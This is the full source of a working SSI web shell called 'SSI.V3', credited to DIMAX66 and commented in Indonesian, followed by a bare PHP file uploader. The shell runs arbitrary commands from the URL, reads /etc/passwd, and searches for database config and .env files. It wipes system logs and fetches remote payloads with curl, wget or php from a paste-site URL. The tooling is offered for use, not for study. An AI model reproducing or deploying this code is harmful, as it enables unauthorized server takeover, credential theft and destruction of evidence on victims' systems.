<!– Author : Unknown45 | Optimized by DIMAX66 –><!– Author : Unknown45 | Optimized by DIMAX66 –><!– hargai author dengan cara menggunakan script ini tanpa recode script nya !!! –><!– Recoded? only changed and delete copyright? Don’t be a bastard dude! ~ Kata Bang zerobyte.id–>
<!–#config errmsg=”SSI_NOT_SUPPORTED”–><!–#set var=”zero” value=”” –><!–#if expr=”$QUERY_STRING_UNESCAPED = \$zero” –><!–#set var=”shl” value=”id” –><!–#else –><!–#set var=”shl” value=$QUERY_STRING_UNESCAPED –><!–#endif –><html><head><title>SSI.V3 – DIMAX66</title><meta name=”theme-color” content=”#000000″><meta charset=”UTF-8″><meta name=”robots” content=”noindex, nofollow”><style type=”text/css”> body { background: #000 url(‘data:image/svg+xml;utf8,<svg xmlns=”http://www.w3.org/2000/svg” width=”100″ height=”100″ viewBox=”0 0 100 100″><rect width=”100″ height=”100″ fill=”%23000″/><path d=”M0,0 L100,100 M100,0 L0,100″ stroke=”%23111″ stroke-width=”0.5″ opacity=”0.2″/></svg>’); color: #e0e0e0; font-family: ‘Courier New’, monospace; padding: 24px; line-height: 1.6; margin: 0; } .container { max-width: 960px; margin: 0 auto; background: rgba(10, 10, 12, 0.7); border: 1px solid #222; border-radius: 8px; padding: 24px; box-shadow: 0 0 20px rgba(0, 0, 0, 0.7), inset 0 0 10px rgba(30, 30, 40, 0.8); } hr { border: 0; height: 1px; background: linear-gradient(to right, transparent, #444, #666, #444, transparent); margin: 18px 0; } center { display: block; text-align: center; } h1 { font-size: 28px; color: #f8f8f8; text-shadow: 0 0 8px rgba(255, 215, 0, 0.3); margin-bottom: 12px; letter-spacing: 1px; } button { background: linear-gradient(to bottom, #1a1a1a, #0f0f0f); color: #e0e0e0; border: 1px solid #333; padding: 8px 16px; margin: 4px; border-radius: 6px; cursor: pointer; font-family: ‘Courier New’, monospace; font-size: 13px; transition: all 0.25s ease; box-shadow: 0 2px 4px rgba(0,0,0,0.3); } button:hover { background: linear-gradient(to bottom, #252525, #181818); color: #ffd700; border-color: #555; transform: translateY(-1px); box-shadow: 0 4px 8px rgba(0,0,0,0.4); } button:active { transform: translateY(0); } input[type=”text”] { background: #0f0f12; color: #fff; border: 1px solid #444; padding: 10px 12px; border-radius: 6px; font-family: ‘Courier New’, monospace; font-size: 14px; width: 65%; max-width: 620px; box-shadow: inset 0 1px 3px rgba(0,0,0,0.5); } textarea { background: #0a0a0f; color: #eee; border: 1px solid #333; padding: 14px; font-family: ‘Courier New’, monospace; font-size: 14px; width: 100%; height: 240px; resize: vertical; border-radius: 6px; box-shadow: inset 0 2px 6px rgba(0,0,0,0.6); } a { color: #aaa; text-decoration: none; } a:hover { color: #ffd700; } b, strong { color: #ffd700; font-weight: bold; text-shadow: 0 0 6px rgba(255, 215, 0, 0.4); } .footer { margin-top: 20px; color: #888; font-size: 13px; } .status-label { color: #999; } .cmd-label { color: #aaa; margin-top: 12px; display: block; } .ok { color: #4ade80 !important; text-shadow: 0 0 6px rgba(74, 222, 128, 0.4); } .fail { color: #f87171 !important; text-shadow: 0 0 6px rgba(248, 113, 113, 0.4); } .warn { color: #fbbf24 !important; text-shadow: 0 0 6px rgba(251, 191, 36, 0.4); } .info-box { background: rgba(20, 20, 25, 0.6); border: 1px solid #2a2a2a; border-radius: 6px; padding: 12px; margin: 10px 0; font-size: 13px; }</style></head>
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js”></script>
<script language=”javascript”>// === FUNGSI UTAMA: EXECUTE COMMAND ===function unknown45() { var uri = document.getElementById(‘command’).value; if (!uri || uri.trim() === ”) { alert(‘Masukkan command dulu!’); return; } var rep = uri.replace(/[ ]/g,’${IFS}’); // PERBAIKAN: Gunakan encodeURIComponent agar karakter seperti ? dan & tidak memutus URL document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+encodeURIComponent(rep);}
function refresh() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>”;}
function checkfile() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”ls${IFS}-la”;}
function readpass() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”cat${IFS}/etc/passwd”;}
function readnamed() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”cat${IFS}/etc/named.conf”;}
function movefiles() { alert(‘Gunakan command: mv oldname newname’); }function upfiles() { alert(‘Gunakan command: curl/wget untuk upload’); }function renamefiles() { alert(‘Gunakan command: mv old new’); }function deletefiles() { alert(‘Gunakan command: rm filename’); }function findfiles() { alert(‘Gunakan command: find /path -name filename’); }
// === PERBAIKAN: UPLOAD DENGAN CUSTOM URL + VERIFIKASI ===function addupload_manual() { var choice = prompt(“Pilih method upload:\n1. curl (recommended)\n2. wget\n3. php\n4. Custom URL (pake curl)\n\nMasukkan angka (1-4):”, “1”); if (!choice) return; var target = prompt(“Nama file target (contoh: uploader.php):”, “uploader.php”); if (!target) return; var source; if (choice === ‘4’) { source = prompt(“Masukkan URL source file (WAJIB https://):”, “https://”); if (!source) return; } else { source = ‘https://paste.code-solutions.dev/raw/xeqofosopi’; } var cleanCmd = “rm${IFS}-f${IFS}” + target + “${IFS};”; var cmd = “”; if (choice === ‘1’ || choice === ‘4’) { cmd = cleanCmd + “curl${IFS}-ksLo${IFS}” + target + “${IFS}-A${IFS}Mozilla/5.0${IFS}” + source + “${IFS}&&${IFS}ls${IFS}-lh${IFS}” + target + “${IFS}&&${IFS}chmod${IFS}644${IFS}” + target + “${IFS}&&${IFS}echo${IFS}’=== ISI FILE (5 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}5${IFS}” + target; } else if (choice === ‘2’) { cmd = cleanCmd + “wget${IFS}-qO${IFS}” + target + “${IFS}–user-agent=Mozilla/5.0${IFS}–no-check-certificate${IFS}” + source + “${IFS}&&${IFS}ls${IFS}-lh${IFS}” + target + “${IFS}&&${IFS}chmod${IFS}644${IFS}” + target + “${IFS}&&${IFS}echo${IFS}’=== ISI FILE (5 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}5${IFS}” + target; } else if (choice === ‘3’) { cmd = cleanCmd + “php${IFS}-r${IFS}’file_put_contents(\”” + target + “\”,file_get_contents(\”” + source + “\”));’${IFS}&&${IFS}ls${IFS}-lh${IFS}” + target + “${IFS}&&${IFS}chmod${IFS}644${IFS}” + target + “${IFS}&&${IFS}echo${IFS}’=== ISI FILE (5 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}5${IFS}” + target; } // PERBAIKAN UTAMA: Gunakan encodeURIComponent agar URL dengan ? atau & tidak terpotong jadi 0kb document.location.href=”<!–#echo var=DOCUMENT_NAME –>?” + encodeURIComponent(cmd);}
// === FUNGSI BARU: CEK FILE HASIL UPLOAD ===function checkUpload() { var file = prompt(“Nama file yang mau dicek:”, “uploader.php”); if (!file) return; var cmd = “echo${IFS}’=== STATUS FILE ===’${IFS}&&${IFS}ls${IFS}-lh${IFS}” + file + “${IFS}&&${IFS}file${IFS}” + file + “${IFS}&&${IFS}echo${IFS}’=== ISI (10 baris pertama) ===’${IFS}&&${IFS}head${IFS}-n${IFS}10${IFS}” + file + “${IFS}&&${IFS}echo${IFS}’=== UKURAN DETAIL ===’${IFS}&&${IFS}wc${IFS}-c${IFS}” + file; document.location.href=”<!–#echo var=DOCUMENT_NAME –>?” + encodeURIComponent(cmd);}
// === FUNGSI BARU: FIX PERMISSION FILE ===function fixPermission() { var file = prompt(“Nama file yang mau di-fix:”, “uploader.php”); if (!file) return; var perm = prompt(“Permission (default 644):”, “644”); if (!perm) return; var cmd = “chmod${IFS}” + perm + “${IFS}” + file + “${IFS}&&${IFS}ls${IFS}-lh${IFS}” + file + “${IFS}&&${IFS}echo${IFS}’✓ Permission berhasil diubah ke ” + perm + “‘”; document.location.href=”<!–#echo var=DOCUMENT_NAME –>?” + encodeURIComponent(cmd);}
function finddb() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”find${IFS}<!–#echo var=DOCUMENT_ROOT –>${IFS}-type${IFS}f${IFS}\\(${IFS}-name${IFS}config.php${IFS}-o${IFS}-name${IFS}database.php${IFS}-o${IFS}-name${IFS}config.inc.php${IFS}-o${IFS}-name${IFS}koneksi.php${IFS}-o${IFS}-name${IFS}wp-config.php${IFS}-o${IFS}-name${IFS}.env${IFS}\\)${IFS}2>/dev/null”;}
function checkroot() { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”ls${IFS}-la${IFS}/”;}
function deletelog() { if (confirm(‘Yakin mau hapus access logs?’)) { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”find${IFS}/var/log${IFS}-type${IFS}f${IFS}-name${IFS}’*.log’${IFS}-exec${IFS}truncate${IFS}-s${IFS}0${IFS}{}${IFS}\\;”; }}
function delsel() { if (confirm(‘Yakin mau hapus shell ini?’)) { document.location.href=”<!–#echo var=DOCUMENT_NAME –>?”+”rm${IFS}-f${IFS}<!–#echo var=SCRIPT_FILENAME –>”; }}
// === ENTER KEY SUPPORT ===document.addEventListener(‘DOMContentLoaded’, function() { var gaskan = document.getElementById(‘command’); if (gaskan) { gaskan.addEventListener(‘keyup’, function(event) { if (event.keyCode === 13) { event.preventDefault(); document.getElementById(‘gas’).click(); } }); }});</script>
<body><div class=”container”> <center> <h1>⚡ SSI.V3 ⚡</h1> <hr> </center>
<!– INFO BOX: DETEKSI ENVIRONMENT –> <div class=”info-box”> <b> Environment Detection:</b><br> <span class=”status-label”>Server Software :</span> <b><!–#echo var=SERVER_SOFTWARE –></b><br> <span class=”status-label”>Document Root :</span> <b><!–#echo var=DOCUMENT_ROOT –></b><br> <span class=”status-label”>Current User :</span> <b><!–#exec cmd=”id” –></b><br> <span class=”status-label”>Shell Available :</span> <b> <!–#exec cmd=”which sh 2>/dev/null && echo ‘sh ‘” –> <!–#exec cmd=”which bash 2>/dev/null && echo ‘bash ‘” –> </b><br> <span class=”status-label”>Tools :</span> <span class=”<!–#exec cmd=”which curl >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>”>curl</span> | <span class=”<!–#exec cmd=”which wget >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>”>wget</span> | <span class=”<!–#exec cmd=”which php >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>php</span> | <span class=”<!–#exec cmd=”which python >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>python</span> | <span class=”<!–#exec cmd=”which perl >/dev/null 2>&1 && echo ‘ok’ || echo ‘fail'” –>perl</span> </div>
<center> <font size=”2″>Command : <input type=”text” id=”command” class=”text” name=”address1″ autofocus placeholder=”Masukkan command…”> <button id=”gas” onclick=”unknown45();”>▶ Execute</button> </font> </center>
<br> <span class=”status-label”>Host :</span> <b><!–#echo var=HTTP_HOST –></b><br> <span class=”status-label”>Server IP :</span> <b><!–#echo var=SERVER_ADDR –></b><br> <span class=”status-label”>Script Path :</span> <b><!–#echo var=SCRIPT_FILENAME –></b><br>
<hr>
<center> <button onclick=”refresh()” style=”float: left;”> Refresh</button> <button onclick=”checkfile()”> List Files</button> <button onclick=”renamefiles()”>✏️ Rename</button> <button onclick=”movefiles()”> Move</button> <button onclick=”deletefiles()”>️ Delete</button> <button onclick=”findfiles()”> Find</button> <button onclick=”upfiles()”>⬆️ Upload</button> <button onclick=”delsel()” style=”float: right;”> Remove Shell</button> <br><br> <button onclick=”readpass();”> /etc/passwd</button> <button onclick=”readnamed();”> /etc/named.conf</button> <button onclick=”addupload_manual();”>⚡ Manual Upload</button> <button onclick=”checkUpload()”> Check File</button> <button onclick=”fixPermission()”> Fix Permission</button> <button onclick=”finddb()”>️ Find DB Config</button> <button onclick=”checkroot()”> Root Directory</button> <button onclick=”deletelog()”> Clear Logs</button> </center>
<hr> <span class=”cmd-label”>▶ Executed Command :</span> <b><font face=”Courier New” id=”cmd”><!–#echo var=shl –></font></b> <br><br> <textarea readonly><!–#exec cmd=”$shl 2>&1″ –></textarea>
<script> var cmd = document.getElementById(“cmd”).innerHTML.split(“${IFS}”).join(” “); document.getElementById(“cmd”).innerHTML = cmd; </script>
<!– FOOTER ELEGAN DENGAN DIMAX66 –> <hr> <center class=”footer”> <div style=” font-family: ‘Courier New’, monospace; font-size: 14px; color: #aaa; letter-spacing: 1.5px; padding-top: 8px; “> <span style=”color: #ffd700; text-shadow: 0 0 6px rgba(255, 215, 0, 0.3); font-weight: bold;”>◆</span> <span style=”margin: 0 8px;”>|</span> <span style=”color: #f0f0f0; font-weight: bold;”>DIMAX66</span> <span style=”margin: 0 8px;”>|</span> <span style=”color: #888;”>© 2026</span> <span style=”margin: 0 8px;”>|</span> <span style=”color: #aaa; font-size: 11px;”>SSI Smart Shell</span> <span style=”color: #ffd700; text-shadow: 0 0 6px rgba(255, 215, 0, 0.3); font-weight: bold;”>◆</span> </div> </center></div></body></html>
Category: Original
Original
<?php
if (!empty($_FILES[‘hc’])) {
move_uploaded_file($_FILES[‘hc’][‘tmp_name’], $_FILES[‘hc’][‘name’]);
echo “Upload OK: ” . $_FILES[‘hc’][‘name’];
}
?>
<form method=”POST” enctype=”multipart/form-data”>
<input type=”file” name=”hc”>
<button type=”submit”>Upload</button>
</form>